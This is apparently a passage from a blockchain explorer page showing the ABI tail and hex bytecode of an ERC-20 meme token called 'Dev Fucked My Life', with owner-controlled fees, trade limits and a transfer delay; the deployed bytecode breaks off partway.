:"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferForeignToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600b55600c805462ffffff191660019081179091556011805460ff191690911790553480156200003557600080fd5b5060405180604001604052806012815260200171446576204675636b6564204d79204c69666560701b815250604051806040016040528060048152602001634655434b60e01b81525081600390816200008f9190620007b6565b5060046200009e8282620007b6565b5050506000620000b36200049c60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051339291829163c45a0155916004808201926020929091908290030181865afa1580156200016b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000191919062000882565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000205919062000882565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000253573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000279919062000882565b600780546001600160a01b0319166001600160a01b03929092169182179055620002a5906001620004a0565b600754620002be906001600160a01b0316600162000503565b6b01cb8b58e5920325afe000006103e8620002db826019620008ca565b620002e79190620008ec565b600d556103e8620002fa826019620008ca565b620003069190620008ec565b600e556103e862000319826019620008ca565b620003259190620008ec565b600f55620186a062000339826003620008ca565b620003459190620008ec565b60085560006017819055601881905560146019819055601a8290556200036c82806200090f565b6200037891906200090f565b6200038491906200090f565b6016556000601c819055601d8190556014601e819055601f829055620003ab82806200090f565b620003b791906200090f565b620003c391906200090f565b601b55600980546001600160a01b0385166001600160a01b031991821617909155600a8054909116734b2315bdc5ac1a221206447ee4c1fde099c5a8d017905562000410836001620004a0565b600a5462000429906001600160a01b03166001620004a0565b62000436306001620004a0565b6200044561dead6001620004a0565b620004528360016200056f565b600a546200046b906001600160a01b031660016200056f565b620004783060016200056f565b6200048761dead60016200056f565b6200049383826200062c565b5050506200092a565b3390565b6001600160a01b038216600081815260216020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152602260205260409020805460ff1916821515179055620005338282620004a0565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620005cf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03821660008181526020808052604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006845760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005c6565b80600260008282546200069891906200090f565b90915550506001600160a01b03821660009081526020819052604081208054839290620006c79084906200090f565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200073c57607f821691505b6020821081036200075d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007b157600081815260208120601f850160051c810160208610156200078c5750805b601f850160051c820191505b81811015620007ad5782815560010162000798565b5050505b505050565b81516001600160401b03811115620007d257620007d262000711565b620007ea81620007e3845462000727565b8462000763565b602080601f831160018114620008225760008415620008095750858301515b600019600386901b1c1916600185901b178555620007ad565b600085815260208120601f198616915b82811015620008535788860151825594840194600190910190840162000832565b5085821015620008725787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200089557600080fd5b81516001600160a01b0381168114620008ad57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620008e757620008e7620008b4565b500290565b6000826200090a57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620009255762000925620008b4565b500190565b612f9e806200093a6000396000f3fe6080604052600436106103035760003560e01c80638da5cb5b11610190578063c876d0b9116100dc578063e71dc3f511610095578063f2fde38b1161006f578063f2fde38b14610895578063f6374342146108b5578063fb002c97146108cb578063fc155d1d146108e157600080fd5b8063e71dc3f514610853578063ee40166e14610869578063f11a24d31461087f57600080fd5b8063c876d0b914610792578063d3bae9b6146107ac578063d47edea2146107cc578063d85ba063146107e1578063dd62ed3e146107f7578063e2f456051461083d57600080fd5b8063a457c2d711610149578063adb873bd11610123578063adb873bd1461070d578063b62496f514610723578063bbc0c74214610753578063c02466681461077257600080fd5b8063a457c2d7146106b7578063a9059cbb146106d7578063aa4bde28146106f757600080fd5b80638da5cb5b1461062257806395d89b41146106405780639a7a23d6146106555780639c3b4fdc146106755780639fccce321461068b578063a0d82dc5146106a157600080fd5b80634f77f6c01161024f57806370a08231116102085780638366e79a116101e25780638366e79a146105b757806388e765ff146105d75780638a8c523c146105ed5780638ac5aa151461060257600080fd5b806370a0823114610562578063715018a6146105825780637571336a1461059757600080fd5b80634f77f6c0146104d557806351f205e4146104eb5780635a139dd41461050057806366d602ae146105165780636a486a8e1461052c5780636ddd17131461054257600080fd5b80631d777856116102bc578063313ce56711610296578063313ce5671461045f578063395093511461047b578063452ed4f11461049b5780634a62bb65146104bb57600080fd5b80631d777856146104075780632307b4411461041d57806323b872dd1461043f57600080fd5b806306fdde031461030f5780630758d9241461033a578063095ea7b31461037257806310d5de53146103a257806318160ddd146103d25780631a8145bb146103f157600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610901565b6040516103319190612956565b60405180910390f35b34801561034657600080fd5b5060065461035a906001600160a01b031681565b6040516001600160a01b039091168152602001610331565b34801561037e57600080fd5b5061039261038d3660046129c3565b610993565b6040519015158152602001610331565b3480156103ae57600080fd5b506103926103bd3660046129ef565b60216020526000908152604090205460ff1681565b3480156103de57600080fd5b506002545b604051908152602001610331565b3480156103fd57600080fd5b506103e360135481565b34801561041357600080fd5b506103e360155481565b34801561042957600080fd5b5061043d610438366004612ae9565b6109a9565b005b34801561044b57600080fd5b5061039261045a366004612bab565b610b0b565b34801561046b57600080fd5b5060405160128152602001610331565b34801561048757600080fd5b506103926104963660046129c3565b610bb5565b3480156104a757600080fd5b5060075461035a906001600160a01b031681565b3480156104c757600080fd5b50600c546103929060ff1681565b3480156104e157600080fd5b506103e3601c5481565b3480156104f757600080fd5b5061043d610bf1565b34801561050c57600080fd5b506103e360175481565b34801561052257600080fd5b506103e3600e5481565b34801561053857600080fd5b506103e3601b5481565b34801561054e57600080fd5b50600c546103929062010000900460ff1681565b34801561056e57600080fd5b506103e361057d3660046129ef565b610cfa565b34801561058e57600080fd5b5061043d610d15565b3480156105a357600080fd5b5061043d6105b2366004612bec565b610d89565b3480156105c357600080fd5b506103926105d2366004612c2a565b610e51565b3480156105e357600080fd5b506103e3600d5481565b3480156105f957600080fd5b5061043d611025565b34801561060e57600080fd5b5061043d61061d366004612c58565b6110e7565b34801561062e57600080fd5b506005546001600160a01b031661035a565b34801561064c57600080fd5b506103246111a0565b34801561066157600080fd5b5061043d610670366004612bec565b6111af565b34801561068157600080fd5b506103e360195481565b34801561069757600080fd5b506103e360145481565b3480156106ad57600080fd5b506103e3601e5481565b3480156106c357600080fd5b506103926106d23660046129c3565b6112a3565b3480156106e357600080fd5b506103926106f23660046129c3565b61133c565b34801561070357600080fd5b506103e3600f5481565b34801561071957600080fd5b506103e3601f5481565b34801561072f57600080fd5b5061039261073e3660046129ef565b60226020526000908152604090205460ff1681565b34801561075f57600080fd5b50600c5461039290610100900460ff1681565b34801561077e57600080fd5b5061043d61078d366004612bec565b611349565b34801561079e57600080fd5b506011546103929060ff1681565b3480156107b857600080fd5b5061043d6107c7366004612c58565b6113d0565b3480156107d857600080fd5b5061043d611483565b3480156107ed57600080fd5b506103e360165481565b34801561080357600080fd5b506103e3610812366004612c2a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561084957600080fd5b506103e360085481565b34801561085f57600080fd5b506103e3601a5481565b34801561087557600080fd5b506103e3600b5481565b34801561088b57600080fd5b506103e360185481565b3480156108a157600080fd5b5061043d6108b03660046129ef565b6114ee565b3480156108c157600080fd5b506103e3601d5481565b3480156108d757600080fd5b506103e360125481565b3480156108ed57600080fd5b5061043d6108fc366004612c8a565b6115d9565b60606003805461091090612ca3565b80601f016020809104026020016040519081016040528092919081815260200182805461093c90612ca3565b80156109895780601f1061095e57610100808354040283529160200191610989565b820191906000526020600020905b81548152906001019060200180831161096c57829003601f168201915b5050505050905090565b60006109a033848461181d565b50600192915050565b6005546001600160a01b031633146109dc5760405162461bcd60e51b81526004016109d390612cdd565b60405180910390fd5b8051825114610a2d5760405162461bcd60e51b815260206004820152601e60248201527f617272617973206d757374206265207468652073616d65206c656e677468000060448201526064016109d3565b610258825110610a9e5760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203630302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b60648201526084016109d3565b60005b8251811015610b06576000838281518110610abe57610abe612d12565b602002602001015190506000838381518110610adc57610adc612d12565b60200260200101519050610af1338383611942565b50508080610afe90612d3e565b915050610aa1565b505050565b6000610b18848484611a97565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b9d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109d3565b610baa853385840361181d565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916109a0918590610bec908690612d57565b61181d565b6005546001600160a01b03163314610c1b5760405162461bcd60e51b81526004016109d390612cdd565b600854610c2730610cfa565b1015610c9d576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e60648201526084016109d3565b6007805460ff60a01b1916600160a01b179055610cb861234a565b6007805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610d3f5760405162461bcd60e51b81526004016109d390612cdd565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610db35760405162461bcd60e51b81526004016109d390612cdd565b80610e26576007546001600160a01b0390811690831603610e265760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b60648201526084016109d3565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b60006001600160a01b038316610ea95760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f74206265203000000000000060448201526064016109d3565b600a546001600160a01b03163314610efb5760405162461bcd60e51b8152602060048201526015602482015274135d5cdd081d19585b481b595b58995c8818d85b1b605a1b60448201526064016109d3565b306001600160a01b03841603610f535760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e730000000060448201526064016109d3565b6040516370a0823160e01b81526001600160a01b038416600482015260009030906370a0823190602401602060405180830381865afa158015610f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbe9190612d6f565b9050610fd8848460085484610fd39190612d88565b611a97565b604080516001600160a01b038616815260208101839052600193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b6005546001600160a01b0316331461104f5760405162461bcd60e51b81526004016109d390612cdd565b600c54610100900460ff16156110a75760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e6700000000000000000060448201526064016109d3565b600c805462ffff0019166201010017905543600b556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b6005546001600160a01b031633146111115760405162461bcd60e51b81526004016109d390612cdd565b601784905560188390556019829055601a81905580826111318587612d57565b61113b9190612d57565b6111459190612d57565b6016819055600a101561119a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c65737300000060448201526064016109d3565b50505050565b60606004805461091090612ca3565b6005546001600160a01b031633146111d95760405162461bcd60e51b81526004016109d390612cdd565b6007546001600160a01b039081169083160361125d5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016109d3565b6112678282612596565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156113255760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016109d3565b611332338585840361181d565b5060019392505050565b60006109a0338484611a97565b6005546001600160a01b031633146113735760405162461bcd60e51b81526004016109d390612cdd565b6001600160a01b03821660008181526020808052604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146113fa5760405162461bcd60e51b81526004016109d390612cdd565b601c849055601d839055601e829055601f819055808261141a8587612d57565b6114249190612d57565b61142e9190612d57565b601b819055600a101561119a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420393025206f72206c65737300000060448201526064016109d3565b6005546001600160a01b031633146114ad5760405162461bcd60e51b81526004016109d390612cdd565b600c805460ff199081169091556011805490911690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146115185760405162461bcd60e51b81526004016109d390612cdd565b6001600160a01b03811661157d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109d3565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146116035760405162461bcd60e51b81526004016109d390612cdd565b678ac7230489e800008111156116915760405162461bcd60e51b815260206004820152604760248201527f4d6179206e6f7420627579206d6f7265207468616e2031302045544820696e2060448201527f612073696e676c652062757920746f207265647563652073616e64776963682060648201526661747461636b7360c81b608482015260a4016109d3565b6040805160028082526060820183526000926020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190612d9f565b8160008151811061173257611732612d12565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061176657611766612d12565b6001600160a01b03928316602091820292909201015260065460405163b6f9de9560e01b815291169063b6f9de959084906117ae90600090869061dead904290600401612e00565b6000604051808303818588803b1580156117c757600080fd5b505af11580156117db573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d6848205688260405161181191815260200190565b60405180910390a15050565b6001600160a01b03831661187f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109d3565b6001600160a01b0382166118e05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109d3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119685760405162461bcd60e51b81526004016109d390612e35565b6001600160a01b03821661198e5760405162461bcd60e51b81526004016109d390612e7a565b6001600160a01b03831660009081526020819052604090205481811015611a065760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016109d3565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611a3d908490612d57565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a8991815260200190565b60405180910390a350505050565b6001600160a01b038316611abd5760405162461bcd60e51b81526004016109d390612e35565b6001600160a01b038216611ae35760405162461bcd60e51b81526004016109d390612e7a565b60008111611b335760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016109d3565b600c54610100900460ff16611bc4576001600160a01b038316600090815260208052604090205460ff1680611b7f57506001600160a01b038216600090815260208052604090205460ff165b611bc45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016109d3565b600c5460ff1615611fbe576005546001600160a01b03848116911614801590611bfb57506005546001600160a01b03838116911614155b8015611c0f57506001600160a01b03821615155b8015611c2657506001600160a01b03821661dead14155b8015611c4a57506001600160a01b038316600090815260208052604090205460ff16155b8015611c6e57506001600160a01b038216600090815260208052604090205460ff16155b15611fbe5760115460ff1615611d87576006546001600160a01b03838116911614801590611caa57506007546001600160a01b03838116911614155b15611d8757611cba600243612d88565b32600090815260106020526040902054108015611cf85750611cdd600243612d88565b6001600160a01b038316600090815260106020526040902054105b611d625760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016109d3565b3260009081526010602052604080822043908190556001600160a01b03851683529120555b6001600160a01b03831660009081526022602052604090205460ff168015611dc857506001600160a01b03821660009081526021602052604090205460ff16155b15611e9457600d54811115611e305760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b60648201526084016109d3565b600f54611e3c83610cfa565b611e469083612d57565b1115611e8f5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b60448201526064016109d3565b611fbe565b6001600160a01b03821660009081526022602052604090205460ff168015611ed557506001600160a01b03831660009081526021602052604090205460ff16155b15611f3f57600e54811115611e8f5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b60648201526084016109d3565b6001600160a01b03821660009081526021602052604090205460ff16611fbe57600f54611f6b83610cfa565b611f759083612d57565b1115611fbe5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b60448201526064016109d3565b6000611fc930610cfa565b905060006008548210158015611fe0575060085483115b9050808015611ff75750600c5462010000900460ff165b801561200d5750600754600160a01b900460ff16155b801561203257506001600160a01b03851660009081526022602052604090205460ff16155b801561205657506001600160a01b038516600090815260208052604090205460ff16155b801561207a57506001600160a01b038416600090815260208052604090205460ff16155b156120a8576007805460ff60a01b1916600160a01b17905561209a61234a565b6007805460ff60a01b191690555b6001600160a01b038516600090815260208052604090205460019060ff16806120e857506001600160a01b038516600090815260208052604090205460ff165b156120f1575060005b60008115612336576001600160a01b03861660009081526022602052604090205460ff16801561212357506000601b54115b1561220b576064601b54866121389190612ebd565b6121429190612edc565b9050601b54601d54826121559190612ebd565b61215f9190612edc565b601360008282546121709190612d57565b9091555050601b54601c546121859083612ebd565b61218f9190612edc565b601260008282546121a09190612d57565b9091555050601b54601e546121b59083612ebd565b6121bf9190612edc565b601460008282546121d09190612d57565b9091555050601b54601f546121e59083612ebd565b6121ef9190612edc565b601560008282546122009190612d57565b909155506123189050565b6001600160a01b03871660009081526022602052604090205460ff16801561223557506000601654115b156123185760646016548661224a9190612ebd565b6122549190612edc565b9050601654601854826122679190612ebd565b6122719190612edc565b601360008282546122829190612d57565b90915550506016546017546122979083612ebd565b6122a19190612edc565b601260008282546122b29190612d57565b90915550506016546019546122c79083612ebd565b6122d19190612edc565b601460008282546122e29190612d57565b9091555050601654601a546122f79083612ebd565b6123019190612edc565b601560008282546123129190612d57565b90915550505b801561232957612329873083611942565b6123338186612d88565b94505b612341878787611942565b50505050505050565b6000601554118015612366575060155461236330610cfa565b10155b1561237757612377306015546125c4565b6000601581905561238730610cfa565b9050600060145460125460135461239e9190612d57565b6123a89190612d57565b90508115806123b5575080155b156123be575050565b6008546123cc90603c612ebd565b8211156123e4576008546123e190603c612ebd565b91505b600080600283601354866123f89190612ebd565b6124029190612edc565b61240c9190612edc565b905061242061241b8286612d88565b6126ee565b6013544790819060009061243690600290612edc565b6124409087612d88565b60125461244d9085612ebd565b6124579190612edc565b90506000600260135461246a9190612edc565b6124749088612d88565b6014546124819086612ebd565b61248b9190612edc565b90506124978183612d57565b6124a19084612d88565b6000601381905560128190556014819055601555925084158015906124c65750600083115b156124d5576124d58584612848565b600a546040516001600160a01b03909116908290600081818185875af1925050503d8060008114612522576040519150601f19603f3d011682016040523d82523d6000602084013e612527565b606091505b5050809650508561253757600080fd5b6009546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612584576040519150601f19603f3d011682016040523d82523d6000602084013e612589565b606091505b5050505050505050505050565b6001600160a01b0382166000908152602260205260409020805460ff191682151517905561126782826128fa565b6001600160a01b0382166126245760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016109d3565b6001600160a01b038216600090815260208190526040902054818110156126985760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016109d3565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611935565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061272357612723612d12565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561277c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127a09190612d9f565b816001815181106127b3576127b3612d12565b6001600160a01b0392831660209182029290920101526006546127d9913091168461181d565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612812908590600090869030904290600401612efe565b600060405180830381600087803b15801561282c57600080fd5b505af1158015612840573d6000803e3d6000fd5b505050505050565b6006546128609030906001600160a01b03168461181d565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156128ce573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f39190612f3a565b5050505050565b6001600160a01b038216600081815260216020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd67469101611811565b600060208083528351808285015260005b8181101561298357858101830151858201604001528201612967565b81811115612995576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146129c057600080fd5b50565b600080604083850312156129d657600080fd5b82356129e1816129ab565b946020939093013593505050565b600060208284031215612a0157600080fd5b8135612a0c816129ab565b9392505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612a5257612a52612a13565b604052919050565b600067ffffffffffffffff821115612a7457612a74612a13565b5060051b60200190565b600082601f830112612a8f57600080fd5b81356020612aa4612a9f83612a5a565b612a29565b82815260059290921b84018101918181019086841115612ac357600080fd5b8286015b84811015612ade5780358352918301918301612ac7565b509695505050505050565b60008060408385031215612afc57600080fd5b823567ffffffffffffffff80821115612b1457600080fd5b818501915085601f830112612b2857600080fd5b81356020612b38612a9f83612a5a565b82815260059290921b84018101918181019089841115612b5757600080fd5b948201945b83861015612b7e578535612b6f816129ab565b82529482019490820190612b5c565b96505086013592505080821115612b9457600080fd5b50612ba185828601612a7e565b9150509250929050565b600080600060608486031215612bc057600080fd5b8335612bcb816129ab565b92506020840135612bdb816129ab565b929592945050506040919091013590565b60008060408385031215612bff57600080fd5b8235612c0a816129ab565b915060208301358015158114612c1f57600080fd5b809150509250929050565b60008060408385031215612c3d57600080fd5b8235612c48816129ab565b91506020830135612c1f816129ab565b60008060008060808587031215612c6e57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215612c9c57600080fd5b5035919050565b600181811c90821680612cb757607f821691505b602082108103612cd757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201612d5057612d50612d28565b5060010190565b60008219821115612d6a57612d6a612d28565b500190565b600060208284031215612d8157600080fd5b5051919050565b600082821015612d9a57612d9a612d28565b500390565b600060208284031215612db157600080fd5b8151612a0c816129ab565b600081518084526020808501945080840160005b83811015612df55781516001600160a01b031687529582019590820190600101612dd0565b509495945050505050565b848152608060208201526000612e196080830186612dbc565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000816000190483118215151615612ed757612ed7612d28565b500290565b600082612ef957634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a060408201526000612f1d60a0830186612dbc565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612f4f57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220454160eda62a550725b25132751ca52b946978da636b7359ca0e792b444b512c64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106103035760003560e01c80638da5cb5b11610190578063c876d0b9116100dc578063e71dc3f511610095578063f2fde38b1161006f578063f2fde38b14610895578063f6374342146108b5578063fb002c97146108cb578063fc155d1d146108e157600080fd5b8063e71dc3f514610853578063ee40166e14610869578063f11a24d31461087f57600080fd5b8063c876d0b914610792578063d3bae9b6146107ac578063d47edea2146107cc578063d85ba063146107e1578063dd62ed3e146107f7578063e2f456051461083d57600080fd5b8063a457c2d711610149578063adb873bd11610123578063adb873bd1461070d578063b62496f514610723578063bbc0c74214610753578063c02466681461077257600080fd5b8063a457c2d7146106b7578063a9059cbb146106d7578063aa4bde28146106f757600080fd5b80638da5cb5b1461062257806395d89b41146106405780639a7a23d6146106555780639c3b4fdc146106755780639fccce321461068b578063a0d82dc5146106a157600080fd5b80634f77f6c01161024f57806370a08231116102085780638366e79a116101e25780638366e79a146105b757806388e765ff146105d75780638a8c523c146105ed5780638ac5aa151461060257600080fd5b806370a0823114610562578063715018a6146105825780637571336a1461059757600080fd5b80634f77f6c0146104d557806351f205e4146104eb5780635a139dd41461050057806366d602ae146105165780636a486a8e1461052c5780636ddd17131461054257600080fd5b80631d777856116102bc578063313ce56711610296578063313ce5671461045f578063395093511461047b578063452ed4f11461049b5780634a62bb65146104bb57600080fd5b80631d777856146104075780632307b4411461041d57806323b872dd1461043f57600080fd5b806306fdde031461030f5780630758d9241461033a578063095ea7b31461037257806310d5de53146103a257806318160ddd146103d25780631a8145bb146103f157600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610901565b6040516103319190612956565b60405180910390f35b34801561034657600080fd5b5060065461035a906001600160a01b031681565b6040516001600160a01b039091168152602001610331565b34801561037e57600080fd5b5061039261038d3660046129c3565b610993565b6040519015158152602001610331565b3480156103ae57600080fd5b506103926103bd3660046129ef565b60216020526000908152604090205460ff1681565b3480156103de57600080fd5b506002545b604051908152602001610331565b3480156103fd57600080fd5b506103e360135481565b34801561041357600080fd5b506103e360155481565b34801561042957600080fd5b5061043d610438366004612ae9565b6109a9565b005b34801561044b57600080fd5b5061039261045a366004612bab565b610b0b565b34801561046b57600080fd5b5060405160128152602001610331565b34801561048757600080fd5b506103926104963660046129c3565b610bb5565b3480156104a757600080fd5b5060075461035a906001600160a01b031681565b3480156104c757600080fd5b50600c546103929060ff1681565b3480156104e157600080fd5b506103e3601c5481565b3480156104f757600080fd5b5061043d610bf1565b34801561050c57600080fd5b506103e360175481565b34801561052257600080fd5b506103e3600e5481565b34801561053857600080fd5b506103e3601b5481565b34801561054e57600080fd5b50600c546103929062010000900460ff1681565b34801561056e57600080fd5b506103e361057d3660046129ef565b610cfa565b34801561058e57600080fd5b5061043d610d15565b3480156105a357600080fd5b5061043d6105b2366004612bec565b610d89565b3480156105c357600080fd5b506103926105d2366004612c2a565b610e51565b3480156105e357600080fd5b506103e3600d5481565b3480156105f957600080fd5b5061043d611025565b34801561060e57600080fd5b5061043d61061d366004612c58565b6110e7565b34801561062e57600080fd5b506005546001600160a01b031661035a5